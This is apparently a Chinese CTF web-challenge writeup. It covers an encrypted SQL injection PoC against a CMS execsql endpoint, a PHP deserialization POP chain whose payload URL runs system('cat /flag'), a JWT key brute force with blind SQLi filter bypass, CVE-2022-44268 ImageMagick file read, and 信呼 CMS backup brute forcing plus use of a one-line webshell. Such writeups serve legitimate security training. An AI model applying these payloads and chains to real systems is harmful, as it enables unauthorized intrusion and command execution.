饶派杯 web writeup
Easy_sql
crossall_act.php 的 execsql sql 注入老洞,提示说这个版本加密算法改了,但是service.php是混淆过的,无法直接读到里面的函数内容,但是自己调试可以发现他解密是在execsql函数里执行的
但是无所谓,我们可以直接调用加密算法,直接加密我们需要执行的sql语句
1
|
$data = service::lockString("select group_concat(table_name) from INFORMATION_SCHEMA.TABLES;");
|
注出表名
查flag
最后poc
1
|
http://172.35.10.30/index.php?case=crossall&act=execsql&sql=8PYGg7D9glxF-MJ6j9%3DxP4GqDL5-t5jRR5Vy9N5-T7ThN2iJd2ab18391e6e61e99aff8e10d05e4ad02
|
fileread
php<=7.4.21 development server源码泄露,似乎是做了一些配置,测试的时候发现不管访问 xx.php 或者 /xx 都是返回 200,但是 xx.zip 就是返回 404,然后用默认的 payload 也读不出来 index.php,最后发现构造 xx.zip 这种不存在的 path 可以读到源码
反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
<?php
ini_set("error_reporting","E_ALL & ~E_NOTICE");
class A
{
public $func;
public $end2;
public function __wakeup()
{
$this->end2="die";
}
public function __call($method, $args)
{
echo "begin";
}
public function __destruct()
{
$this->func="system";
$waf=$this->end2;
$func=$this->func;
$waf();
$func($_GET["param"]);
}
}
class B
{
public $poc;
public function __destruct()
{
$this->poc->test();
}
}
$o=unserialize($_GET["poc"]);
?>
|
pop链构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<?php
ini_set("error_reporting", "E_ALL & ~E_NOTICE");
class A
{
public $func;
public $end2;
public function __construct(){
$this->func = "system";
$this->end2 = &$this->func;
}
public function __wakeup()
{
$this->end2 = "die";
}
public function __call($method, $args)
{
echo "begin";
}
public function __destruct()
{
$this->func = "system";
$waf = $this->end2;
$func = $this->func;
$waf();
$func($_GET["param"]);
}
}
class B
{
public $poc;
public function __construct(){
$this->poc = new A();
}
public function __destruct()
{
$this->poc->test();
}
}
$a = new B;
echo serialize($a);
|
1
|
http://172.35.10.169/?poc=O:1:%22B%22:1:{s:3:%22poc%22;O:1:%22A%22:2:{s:4:%22func%22;s:6:%22system%22;s:4:%22end2%22;R:3;}}¶m=cat%20/flag
|
对脆弱的车辆性能管理系统
爆破出来 jwt 密钥是 ACE,id 参数是有盲注的,发现 select 被过滤了,双写绕,用脚本跑一下可以得到设计师的名字
根据题目的信息可以得到主题,最后还有个 iat 时间参数需要构造,也是在题目给的信息里面,说工作时间是 996 ,4月3号生产出汽车,所以尝试了 4.1 和 4.2 两天的时间戳,最后改成 4.2 号的时间重新伪造 jwt 发包拿到车辆的敏感信息,也就是 flag
对访客开放的车载系统
hint 给了访客弱口令,Guest / Guest 进后台,只有一个头像上传点,又给了个 hint 是 imagemagic,大概率就是 CVE-2022-44268 了,直接上传 payload 读 flag 即可
把图片下载回来解码得到 flag
easy cms
信呼的未授权备份,不过目录最后四位是随机数,所以写个脚本并发一下,多生成点备份,提高爆破概率,最后得到备份文件目录
然后继续爆破备份的 sql 了
里面拿到用户名 thisisadminoooajinjquiii 和密码 hash,查出来密码 asdasdqwezxc,后台有一个文件包含的老洞,不过只能包含 .php .shtml
后面挖了很久的文件上传点也没有找到哪里能传 .php 的或者 .shtml 的,最后通过信呼后台的一个老洞 getdatssss 目录遍历发现原来在根目录给了一个 php 文件,flag 也在根目录
包含一下这个文件,是一个 phpinfo,然后文件开头还有一个 1
猜测是一个密码是 1 的一句话木马,测试发现是通过 get 传参,最后读 flag 即可